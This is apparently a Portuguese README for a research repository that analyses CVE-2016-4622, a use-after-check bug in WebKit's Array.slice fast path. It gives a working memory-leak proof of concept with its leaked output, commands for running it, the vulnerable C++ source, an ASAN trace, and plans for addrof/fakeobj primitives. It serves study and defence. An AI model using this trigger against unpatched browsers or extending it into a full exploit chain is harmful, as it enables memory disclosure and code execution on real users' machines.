
Minha jornada pelo processo de exploração do WebKit CVE-2016-4622
Análise abrangente e exploração da vulnerabilidade do WebKit JavaScript Core que permite divulgação de memória através da manipulação de Array.slice
Este repositório contém uma análise abrangente de CVE-2016-4622, uma vulnerabilidade crítica de divulgação de memória no motor JavaScript Core do WebKit. A vulnerabilidade decorre de uma condição de corrida na implementação de Array.slice() que pode ser explorada para vazar conteúdos de memória adjacente, servindo como base para primitivas de exploração mais sofisticadas, como addrof e fakeobj.
Impacto: Divulgação de memória levando a potencial execução remota de código
Componente Afetado: WebKit JavaScript Core (JSC)
Causa Raiz: Vulnerabilidade de tempo-de-verificação-tempo-de-uso (TOCTOU) na implementação de fastSlice
A vulnerabilidade existe no "caminho rápido" otimizado do WebKit para o método Array.slice(). Ao processar parâmetros de slice, o motor converte argumentos objeto para valores primitivos chamando seu método valueOf(). Essa conversão ocorre após determinar os parâmetros da operação de slice, mas antes da operação real de cópia de memória.
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
O que acontece:
a é criado com 100 elementosvalueOf() é chamadovalueOf() malicioso reduz o array para comprimento 0memcpy tenta copiar 10 elementos de um array vazioWebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Implementação de referência por Saelo
├── Exploit/ # Tentativas de exploração personalizadas
│ ├── poc-memleak.js # Prova de conceito de vazamento de memória
│ └── slice_over_array.js # Exemplos educacionais
├── WebKit-SRC-CVE-2016-4622/ # Código fonte vulnerável (commit 320b1fc)
├── WebKit-Bins/ # Binários compilados para teste
│ ├── Debug/ # Build de depuração com símbolos
│ └── ASAN/ # Build com AddressSanitizer habilitado
└── Screenshoots/ # Documentação visual
Binários: Binários JSC pré-compilados construídos no VMWare OSX 10.11 com XCode 7.3.2 Arquitetura: Executáveis Mach-O x86_64 Recursos de Depuração: Símbolos + AddressSanitizer para análise abrangente
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
O método Array.slice(begin, end) cria uma cópia superficial de uma porção de um array. Em circunstâncias normais:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Retorna ['b', 'c']
Insight chave: O parâmetro end passa por conversão de tipo via valueOf(), criando uma janela para exploração.
Quando a vulnerabilidade é acionada, o AddressSanitizer captura este fluxo de chamadas:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - Ponto de EntradaLocalização: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}
argumentClampedIndexFromStartOrEnd() - O Gatilho de ConversãoLocalização: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
A Condição de Corrida:
{valueOf: function() { a.length = 0; return 10; }}value.toInteger(exec) chama nosso valueOf() maliciosofastSlice() - Onde a Corrupção de Memória OcorreLocalização: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
A Corrupção de Memória:
startIndex = 0, count = 10valueOf())memcpy lê 10 JSValues a partir do índice 0Fase de Configuração
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
Fase de Gatilho
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
Fase de Exploração
valueOf()fastSlice tenta copiar 10 elementos de um array vazioResultado
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
Esta vulnerabilidade serve como base para:
addrof/fakeobjEstratégias de Mitigação:
memcpy320b1fc3f6fLinha do Tempo da Pesquisa: 11-12 de abril de 2020
Status: Análise Completa ✅
Próximos Passos: Desenvolvimento da cadeia completa de exploração com primitivas addrof/fakeobj
| Componente | Problema | Impacto |
|---|
| Processamento de Parâmetros | TOCTOU em argumentClampedIndexFromStartOrEnd | Permite modificação de estado durante o processamento |
| Lógica do Caminho Rápido | Validação insuficiente em fastSlice | Ignora verificação de limites |
| Operações de Memória | memcpy sem verificação na cópia do array | Divulgação direta de memória |